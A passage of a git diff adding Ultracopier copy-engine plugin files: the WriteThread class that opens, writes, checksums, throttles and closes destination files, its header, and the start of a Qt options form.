+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to resize to %1 after open: %2, error: %3").arg(startSize).arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ return false;
+ }
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] close because stopIt is at true"));
+ file.close();
+ resumeNotStarted();
+ file.setFileName(QStringLiteral(""));
+ emit closed();
+ return false;
+ }
+ isOpen.acquire();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] emit opened()"));
+ emit opened();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ needRemoveTheFile=false;
+ postOperationRequested=false;
+ return true;
+ }
+ else
+ {
+ if(!fileWasExists && file.exists())
+ if(!file.remove())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] file created but can't be removed"));
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] close because stopIt is at true"));
+ resumeNotStarted();
+ file.setFileName(QStringLiteral(""));
+ emit closed();
+ return false;
+ }
+ errorString_internal=file.errorString();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to open: %1, error: %2").arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ return false;
+ }
+}
+
+void WriteThread::open(const QFileInfo &file,const quint64 &startSize,const bool &buffer,const int &numberOfBlock,const bool &sequential)
+{
+ if(!isRunning())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] the thread not running to open destination: ")+file.absoluteFilePath()+QStringLiteral(", numberOfBlock: ")+QString::number(numberOfBlock));
+ errorString_internal=tr("Internal error, please report it!");
+ emit error();
+ return;
+ }
+ if(this->file.isOpen())
+ {
+ if(file.absoluteFilePath()==this->file.fileName())
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] Try reopen already opened same file: ")+file.absoluteFilePath());
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] previous file is already open: ")+file.absoluteFilePath());
+ emit internalStartClose();
+ isOpen.acquire();
+ isOpen.release();
+ }
+ if(numberOfBlock<1 || (numberOfBlock>ULTRACOPIER_PLUGIN_MAX_PARALLEL_NUMBER_OF_BLOCK && numberOfBlock>ULTRACOPIER_PLUGIN_MAX_SEQUENTIAL_NUMBER_OF_BLOCK))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] numberOfBlock wrong, set to default"));
+ this->numberOfBlock=ULTRACOPIER_PLUGIN_DEFAULT_PARALLEL_NUMBER_OF_BLOCK;
+ }
+ else
+ this->numberOfBlock=numberOfBlock;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("open destination: %1, sequential: %2").arg(file.absoluteFilePath()).arg(sequential));
+ stopIt=false;
+ fakeMode=false;
+ lastGoodPosition=0;
+ this->file.setFileName(file.absoluteFilePath());
+ this->startSize=startSize;
+ this->buffer=buffer;
+ this->sequential=sequential;
+ endDetected=false;
+ writeFullBlocked=false;
+ emit internalStartOpen();
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ numberOfBlockCopied=0;
+ #endif
+}
+
+void WriteThread::endIsDetected()
+{
+ if(endDetected)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ endDetected=true;
+ pauseMutex.release();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ emit internalStartEndOfFile();
+}
+
+QString WriteThread::errorString() const
+{
+ return errorString_internal;
+}
+
+void WriteThread::stop()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stop()"));
+ needRemoveTheFile=true;
+ stopIt=true;
+ if(isOpen.available()>0)
+ return;
+ writeFull.release();
+ pauseMutex.release();
+ pauseMutex.release();
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ waitNewClockForSpeed.release();
+ waitNewClockForSpeed2.release();
+ #endif
+ // useless because stopIt will close all thread, but if thread not runing run it
+ endIsDetected();
+ //for the stop for skip: void TransferThread::skip()
+ emit internalStartClose();
+}
+
+void WriteThread::flushBuffer()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ writeFull.release();
+ writeFull.acquire();
+ pauseMutex.release();
+ {
+ QMutexLocker lock_mutex(&accessList);
+ theBlockList.clear();
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stop"));
+}
+
+/// \brief buffer is empty
+bool WriteThread::bufferIsEmpty()
+{
+ bool returnVal;
+ {
+ QMutexLocker lock_mutex(&accessList);
+ returnVal=theBlockList.isEmpty();
+ }
+ return returnVal;
+}
+
+void WriteThread::internalEndOfFile()
+{
+ if(!bufferIsEmpty())
+ {
+ if(sequential)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start the write"));
+ emit internalStartWrite();
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] buffer is not empty!"));
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] writeIsStopped"));
+ emit writeIsStopped();
+ }
+}
+
+#ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+/*! \brief Set the max speed
+\param tempMaxSpeed Set the max speed in KB/s, 0 for no limit */
+void WriteThread::setMultiForBigSpeed(const int &multiForBigSpeed)
+{
+ this->multiForBigSpeed=multiForBigSpeed;
+ waitNewClockForSpeed.release();
+ waitNewClockForSpeed2.release();
+}
+
+/// \brief For give timer every X ms
+void WriteThread::timeOfTheBlockCopyFinished()
+{
+ /* this is the old way to limit the speed, it product blocking
+ *if(waitNewClockForSpeed.available()<ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT)
+ waitNewClockForSpeed.release();*/
+
+ //try this new way:
+ /* only if speed limited, else will accumulate waitNewClockForSpeed
+ * Disabled because: Stop call of this method when no speed limit
+ if(this->maxSpeed>0)*/
+ if(waitNewClockForSpeed.available()<=1)
+ waitNewClockForSpeed.release();
+ if(waitNewClockForSpeed2.available()<=1)
+ waitNewClockForSpeed2.release();
+}
+#endif
+
+void WriteThread::resumeNotStarted()
+{
+ QMutexLocker lock_mutex(&writeFileListMutex);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ if(!writeFileList.contains(file.fileName()))
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] file: \"")+file.fileName()+QStringLiteral("\" for similar inode is not located into the list of ")+writeFileList.size()+QStringLiteral(" items!"));
+ #endif
+ writeFileList.remove(file.fileName(),this);
+ if(writeFileList.contains(file.fileName()))
+ {
+ QList<WriteThread *> writeList=writeFileList.values(file.fileName());
+ if(!writeList.isEmpty())
+ writeList.first()->reemitStartOpen();
+ return;
+ }
+}
+
+void WriteThread::pause()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] try put read thread in pause"));
+ pauseMutex.tryAcquire(pauseMutex.available());
+ putInPause=true;
+ return;
+}
+
+void WriteThread::resume()
+{
+ if(putInPause)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ putInPause=false;
+ stopIt=false;
+ }
+ else
+ return;
+ if(!file.isOpen())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] file is not open"));
+ return;
+ }
+ pauseMutex.release();
+}
+
+void WriteThread::reemitStartOpen()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ emit internalStartOpen();
+}
+
+void WriteThread::postOperation()
+{
+ if(postOperationRequested)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("[")+QString::number(id)+QStringLiteral("] double event dropped"));
+ return;
+ }
+ postOperationRequested=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ emit internalStartClose();
+}
+
+void WriteThread::internalCloseSlot()
+{
+ internalClose();
+}
+
+void WriteThread::internalClose(bool emitSignal)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] close for file: ")+file.fileName());
+ /// \note never send signal here, because it's called by the destructor
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Close;
+ #endif
+ bool emit_closed=false;
+ if(!fakeMode)
+ {
+ if(file.isOpen())
+ {
+ if(!needRemoveTheFile)
+ {
+ if(startSize!=lastGoodPosition)
+ if(!file.resize(lastGoodPosition))
+ {
+ if(emitSignal)
+ {
+ errorString_internal=file.errorString();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to seek after open: %1, error: %2").arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ }
+ else
+ needRemoveTheFile=true;
+ }
+ }
+ file.close();
+ if(needRemoveTheFile || stopIt)
+ {
+ if(deletePartiallyTransferredFiles)
+ {
+ if(!file.remove())
+ if(emitSignal)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] unable to remove the destination file"));
+ }
+ }
+ //here and not after, because the transferThread don't need try close if not open
+ if(emitSignal)
+ emit_closed=true;
+ }
+ }
+ else
+ {
+ //here and not after, because the transferThread don't need try close if not open
+
+ if(emitSignal)
+ emit_closed=true;
+ }
+ needRemoveTheFile=false;
+ resumeNotStarted();
+ //warning: file.setFileName(""); need be after resumeNotStarted()
+ file.setFileName(QStringLiteral(""));
+ if(emit_closed)
+ emit closed();
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+
+ /// \note always the last of this function
+ if(!fakeMode)
+ isOpen.release();
+}
+
+void WriteThread::internalReopen()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ QString tempFile=file.fileName();
+ internalClose(false);
+ flushBuffer();
+ stopIt=false;
+ lastGoodPosition=0;
+ file.setFileName(tempFile);
+ if(internalOpen())
+ emit reopened();
+}
+
+void WriteThread::reopen()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] start"));
+ stopIt=true;
+ endDetected=false;
+ emit internalStartReopen();
+}
+
+#ifdef ULTRACOPIER_PLUGIN_DEBUG
+//to set the id
+void WriteThread::setId(int id)
+{
+ this->id=id;
+}
+#endif
+
+/// \brief do the fake open
+void WriteThread::fakeOpen()
+{
+ fakeMode=true;
+ postOperationRequested=false;
+ emit opened();
+}
+
+/// \brief do the fake writeIsStarted
+void WriteThread::fakeWriteIsStarted()
+{
+ emit writeIsStarted();
+}
+
+/// \brief do the fake writeIsStopped
+void WriteThread::fakeWriteIsStopped()
+{
+ emit writeIsStopped();
+}
+
+/// do the checksum
+void WriteThread::startCheckSum()
+{
+ emit internalStartChecksum();
+}
+
+/** \brief set block size
+\param block the new block size in B
+\return Return true if succes */
+bool WriteThread::setBlockSize(const int blockSize)
+{
+ //can be smaller than min block size to do correct speed limitation
+ if(blockSize>1 && blockSize<ULTRACOPIER_PLUGIN_MAX_BLOCK_SIZE*1024)
+ {
+ this->blockSize=blockSize;
+ return true;
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("block size out of range: ")+QString::number(blockSize));
+ return false;
+ }
+}
+
+/// \brief get the last good position
+qint64 WriteThread::getLastGoodPosition() const
+{
+ return lastGoodPosition;
+}
+
+void WriteThread::flushAndSeekToZero()
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("flushAndSeekToZero: ")+QString::number(blockSize));
+ stopIt=true;
+ emit internalStartFlushAndSeekToZero();
+}
+
+
+void WriteThread::checkSum()
+{
+ //QByteArray blockArray;
+ QCryptographicHash hash(QCryptographicHash::Sha1);
+ endDetected=false;
+ lastGoodPosition=0;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ numberOfBlockCopied=0;
+ #endif
+ if(!file.seek(0))
+ {
+ errorString_internal=file.errorString();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to seek after open: %1, error: %2").arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ return;
+ }
+ int sizeReaden=0;
+ do
+ {
+ if(putInPause)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("[")+QString::number(id)+QStringLiteral("] write put in pause"));
+ if(stopIt)
+ return;
+ pauseMutex.acquire();
+ if(stopIt)
+ return;
+ }
+ //read one block
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Read;
+ #endif
+ blockArray=file.read(blockSize);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+
+ if(file.error()!=QFile::NoError)
+ {
+ errorString_internal=tr("Unable to read the source file: ")+file.errorString()+QStringLiteral(" (")+QString::number(file.error())+QStringLiteral(")");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("file.error()!=QFile::NoError: %1, error: %2").arg(QString::number(file.error())).arg(errorString_internal));
+ emit error();
+ return;
+ }
+ sizeReaden=blockArray.size();
+ if(sizeReaden>0)
+ {
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Checksum;
+ #endif
+ hash.addData(blockArray);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+
+ if(stopIt)
+ break;
+
+ lastGoodPosition+=blockArray.size();
+ }
+ }
+ while(sizeReaden>0 && !stopIt);
+ if(lastGoodPosition>(quint64)file.size())
+ {
+ errorString_internal=tr("File truncated during read, possible data change");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Source truncated during the read: %1 (%2)").arg(file.errorString()).arg(QString::number(file.error())));
+ emit error();
+ return;
+ }
+ if(stopIt)
+ {
+/* if(putInPause)
+ emit isInPause();*/
+ stopIt=false;
+ return;
+ }
+ emit checksumFinish(hash.result());
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stop the read"));
+}
+
+void WriteThread::internalFlushAndSeekToZero()
+{
+ flushBuffer();
+ if(!file.seek(0))
+ {
+ errorString_internal=file.errorString();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Unable to seek after open: %1, error: %2").arg(file.fileName()).arg(errorString_internal));
+ emit error();
+ return;
+ }
+ stopIt=false;
+ emit flushedAndSeekedToZero();
+}
+
+void WriteThread::setMkpathTransfer(QSemaphore *mkpathTransfer)
+{
+ this->mkpathTransfer=mkpathTransfer;
+}
+
+void WriteThread::setDeletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles)
+{
+ this->deletePartiallyTransferredFiles=deletePartiallyTransferredFiles;
+}
+
+bool WriteThread::write(const QByteArray &data)
+{
+ if(stopIt)
+ return false;
+ bool atMax;
+ if(sequential)
+ {
+ if(stopIt)
+ return false;
+ {
+ QMutexLocker lock_mutex(&accessList);
+ theBlockList.append(data);
+ atMax=(theBlockList.size()>=numberOfBlock);
+ }
+ if(atMax)
+ emit internalStartWrite();
+ }
+ else
+ {
+ if(stopIt)
+ return false;
+ {
+ QMutexLocker lock_mutex(&accessList);
+ theBlockList.append(data);
+ atMax=(theBlockList.size()>=numberOfBlock);
+ }
+ emit internalStartWrite();
+ }
+ if(atMax)
+ {
+ writeFullBlocked=true;
+ writeFull.acquire();
+ writeFullBlocked=false;
+ }
+ if(stopIt)
+ return false;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ //wait for limitation speed if stop not query
+ if(multiForBigSpeed>0)
+ {
+ if(sequential)
+ {
+ numberOfBlockCopied++;
+ if(numberOfBlockCopied>=(multiForBigSpeed*2))
+ {
+ numberOfBlockCopied=0;
+ waitNewClockForSpeed.acquire();
+ }
+ }
+ else
+ {
+ numberOfBlockCopied2++;
+ if(numberOfBlockCopied2>=multiForBigSpeed)
+ {
+ numberOfBlockCopied2=0;
+ waitNewClockForSpeed2.acquire();
+ }
+ }
+ }
+ #endif
+ if(stopIt)
+ return false;
+ return true;
+}
+
+void WriteThread::internalWrite()
+{
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ if(sequential)
+ {
+ multiForBigSpeed=0;
+ QMutexLocker lock_mutex(&accessList);
+ if(theBlockList.size()<numberOfBlock && !endDetected)
+ return;
+ }
+ #endif
+ bool haveBlock;
+ do
+ {
+ if(putInPause)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("[")+QString::number(id)+QStringLiteral("] write put in pause"));
+ if(stopIt)
+ return;
+ pauseMutex.acquire();
+ if(stopIt)
+ return;
+ }
+ if(stopIt)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] stopIt"));
+ return;
+ }
+ if(stopIt)
+ return;
+ //read one block
+ {
+ QMutexLocker lock_mutex(&accessList);
+ if(theBlockList.isEmpty())
+ haveBlock=false;
+ else
+ {
+ blockArray=theBlockList.first();
+ if(multiForBigSpeed>0)
+ {
+ if(blockArray.size()==blockSize)
+ {
+ theBlockList.removeFirst();
+ //if remove one block
+ if(!sequential)
+ writeFull.release();
+ }
+ else
+ {
+ blockArray.clear();
+ while(blockArray.size()!=blockSize)
+ {
+ //if larger
+ if(theBlockList.first().size()>blockSize)
+ {
+ blockArray+=theBlockList.first().mid(0,blockSize);
+ theBlockList.first().remove(0,blockSize);
+ if(!sequential)
+ {
+ //do write in loop to finish the actual block
+ emit internalStartWrite();
+ }
+ break;
+ }
+ //if smaller
+ else
+ {
+ blockArray+=theBlockList.first();
+ theBlockList.removeFirst();
+ //if remove one block
+ if(!sequential)
+ writeFull.release();
+ if(theBlockList.isEmpty())
+ break;
+ }
+ }
+ }
+ //haveBlock=!blockArray.isEmpty();
+ }
+ else
+ {
+ theBlockList.removeFirst();
+ //if remove one block
+ if(!sequential)
+ writeFull.release();
+ }
+ haveBlock=true;
+ }
+ }
+ if(stopIt)
+ return;
+ if(!haveBlock)
+ {
+ if(sequential)
+ {
+ if(endDetected)
+ internalEndOfFile();
+ else
+ writeFull.release();
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] End detected of the file"));
+ return;
+ }
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ //wait for limitation speed if stop not query
+ if(multiForBigSpeed>0)
+ {
+ numberOfBlockCopied++;
+ if(sequential || (!sequential && writeFullBlocked))
+ {
+ if(numberOfBlockCopied>=(multiForBigSpeed*2))
+ {
+ numberOfBlockCopied=0;
+ waitNewClockForSpeed.acquire();
+ if(stopIt)
+ break;
+ }
+ }
+ else
+ {
+ if(numberOfBlockCopied>=multiForBigSpeed)
+ {
+ numberOfBlockCopied=0;
+ waitNewClockForSpeed.acquire();
+ if(stopIt)
+ break;
+ }
+ }
+ }
+ #endif
+ if(stopIt)
+ return;
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Write;
+ #endif
+ bytesWriten=file.write(blockArray);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ stat=Idle;
+ #endif
+ //mutex for stream this data
+ if(lastGoodPosition==0)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("[")+QString::number(id)+QStringLiteral("] emit writeIsStarted()"));
+ emit writeIsStarted();
+ }
+ if(stopIt)
+ return;
+ if(file.error()!=QFile::NoError)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Error in writing: %1 (%2)").arg(file.errorString()).arg(file.error()));
+ errorString_internal=QStringLiteral("Error in writing: %1 (%2)").arg(file.errorString()).arg(file.error());
+ stopIt=true;
+ emit error();
+ return;
+ }
+ if(bytesWriten!=blockArray.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("[")+QString::number(id)+QStringLiteral("] ")+QStringLiteral("Error in writing, bytesWriten: %1, blockArray.size(): %2").arg(bytesWriten).arg(blockArray.size()));
+ errorString_internal=QStringLiteral("Error in writing, bytesWriten: %1, blockArray.size(): %2").arg(bytesWriten).arg(blockArray.size());
+ stopIt=true;
+ emit error();
+ return;
+ }
+ lastGoodPosition+=bytesWriten;
+ } while(sequential);
+}
diff --git a/plugins/CopyEngine/Ultracopier/WriteThread.h b/plugins/CopyEngine/Ultracopier/WriteThread.h
new file mode 100644
index 0000000..e540552
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/WriteThread.h
@@ -0,0 +1,160 @@
+/** \file WriteThread.h
+\brief Thread changed to open/close and write the destination file
+\author alpha_one_x86
+\licence GPL3, see the file COPYING */
+
+#ifndef WRITETHREAD_H
+#define WRITETHREAD_H
+
+#include <QThread>
+#include <QByteArray>
+#include <QString>
+#include <QMutex>
+#include <QSemaphore>
+#include <QCryptographicHash>
+
+#include "Environment.h"
+#include "StructEnumDefinition_CopyEngine.h"
+#include "AvancedQFile.h"
+
+/// \brief Thread changed to open/close and write the destination file
+class WriteThread : public QThread
+{
+ Q_OBJECT
+public:
+ explicit WriteThread();
+ ~WriteThread();
+ /// \brief to have semaphore to do mkpath one by one
+ void setMkpathTransfer(QSemaphore *mkpathTransfer);
+protected:
+ void run();
+public:
+ /// \brief open the destination to open it
+ void open(const QFileInfo &file,const quint64 &startSize,const bool &buffer,const int &numberOfBlock,const bool &sequential);
+ /// \brief to return the error string
+ QString errorString() const;
+ /// \brief to stop all
+ void stop();
+ /// \brief to write data
+ bool write(const QByteArray &data);
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ /// \brief to set the id
+ void setId(int id);
+ /// \brief get the write stat
+ enum WriteStat
+ {
+ Idle=0,
+ InodeOperation=1,
+ Write=2,
+ Close=3,
+ Read=5,
+ Checksum=6
+ };
+ WriteStat stat;
+ #endif
+ /// \brief do the fake open
+ void fakeOpen();
+ /// \brief do the fake writeIsStarted
+ void fakeWriteIsStarted();
+ /// \brief do the fake writeIsStopped
+ void fakeWriteIsStopped();
+ /// do the checksum
+ void startCheckSum();
+ /// \brief set block size in KB
+ bool setBlockSize(const int blockSize);
+ /// \brief get the last good position
+ qint64 getLastGoodPosition() const;
+ /// \brief buffer is empty
+ bool bufferIsEmpty();
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ /// \brief set the current max speed in KB/s
+ void setMultiForBigSpeed(const int &multiForBigSpeed);
+ #endif
+ void pause();
+ void resume();
+ void reemitStartOpen();
+public slots:
+ /// \brief start the operation
+ void postOperation();
+ /// \brief flush buffer
+ void flushBuffer();
+ /// \brief set the end is detected
+ void endIsDetected();
+ /// \brief reopen the file
+ void reopen();
+ /// \brief flush and seek to zero
+ void flushAndSeekToZero();
+ /// do the checksum
+ void checkSum();
+ void setDeletePartiallyTransferredFiles(const bool &deletePartiallyTransferredFiles);
+ /// \brief executed at regular interval to do a speed throling
+ void timeOfTheBlockCopyFinished();
+
+ void resumeNotStarted();
+signals:
+ void error() const;
+ void opened() const;
+ void reopened() const;
+ void writeIsStarted() const;
+ void writeIsStopped() const;
+ void flushedAndSeekedToZero() const;
+ void closed() const;
+ void checksumFinish(const QByteArray&) const;
+ //internal signals
+ void internalStartOpen() const;
+ void internalStartChecksum() const;
+ void internalStartReopen() const;
+ void internalStartWrite() const;
+ void internalStartClose() const;
+ void internalStartEndOfFile() const;
+ void internalStartFlushAndSeekToZero() const;
+ /// \brief To debug source
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString &fonction,const QString &text,const QString &file,const int &ligne) const;
+private:
+ QString errorString_internal;
+ AvancedQFile file;
+ volatile bool stopIt;
+ volatile bool postOperationRequested;
+ volatile int blockSize;//only used in checksum
+ int numberOfBlock;
+ QMutex accessList; ///< For use the list
+ static QMultiHash<QString,WriteThread *> writeFileList;
+ static QMutex writeFileListMutex;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ QSemaphore waitNewClockForSpeed,waitNewClockForSpeed2;
+ volatile int numberOfBlockCopied,numberOfBlockCopied2; ///< Multiple for count the number of block copied
+ volatile int multiplicatorForBigSpeed; ///< Multiple for count the number of block needed
+ volatile int MultiForBigSpeed;
+ #endif
+ QSemaphore writeFull;
+ volatile bool writeFullBlocked;
+ QSemaphore isOpen;
+ QSemaphore pauseMutex;
+ volatile bool putInPause;
+ QList<QByteArray> theBlockList; ///< Store the block list
+ quint64 lastGoodPosition;
+ QByteArray blockArray; ///< temp data for block writing, the data
+ qint64 bytesWriten; ///< temp data for block writing, the bytes writen
+ int id;
+ volatile bool endDetected;
+ quint64 startSize;
+ QSemaphore *mkpathTransfer;
+ bool fakeMode;
+ bool buffer;
+ bool needRemoveTheFile;
+ volatile bool sequential;
+ bool deletePartiallyTransferredFiles;
+ #ifdef ULTRACOPIER_PLUGIN_SPEED_SUPPORT
+ volatile int multiForBigSpeed; ///< Multiple for count the number of block needed
+ #endif
+private slots:
+ bool internalOpen();
+ void internalWrite();
+ void internalCloseSlot();
+ void internalClose(bool emitSignal=true);
+ void internalReopen();
+ void internalEndOfFile();
+ void internalFlushAndSeekToZero();
+};
+
+#endif // WRITETHREAD_H
diff --git a/plugins/CopyEngine/Ultracopier/copyEngineOptions.ui b/plugins/CopyEngine/Ultracopier/copyEngineOptions.ui
new file mode 100644
index 0000000..4870480
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/copyEngineOptions.ui
@@ -0,0 +1,762 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <class>copyEngineOptions</class>
+ <widget class="QWidget" name="copyEngineOptions">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>801</width>
+ <height>504</height>
+ </rect>
+ </property>
+ <layout class="QVBoxLayout" name="verticalLayout">
+ <property name="spacing">
+ <number>0</number>
+ </property>
+ <property name="margin">
+ <number>0</number>
+ </property>
+ <item>
+ <widget class="QToolBox" name="toolBox">
+ <property name="currentIndex">
+ <number>0</number>
+ </property>
+ <widget class="QWidget" name="page_trasnfer">
+ <property name="geometry">
+ <rect>
+ <x>0</x>
+ <y>0</y>
+ <width>791</width>
+ <height>364</height>
+ </rect>
+ </property>
+ <attribute name="label">
+ <string>Transfer</string>
+ </attribute>
+ <layout class="QGridLayout" name="gridLayout_5">
+ <item row="3" column="2">
+ <widget class="QCheckBox" name="moveTheWholeFolder"/>
+ </item>
+ <item row="3" column="0">
+ <widget class="QLabel" name="label_18">
+ <property name="text">
+ <string>Move the whole folder</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="0">
+ <widget class="QLabel" name="label">
+ <property name="text">
+ <string>Transfer the file rights</string>
+ </property>
+ </widget>
+ </item>
+ <item row="0" column="2">
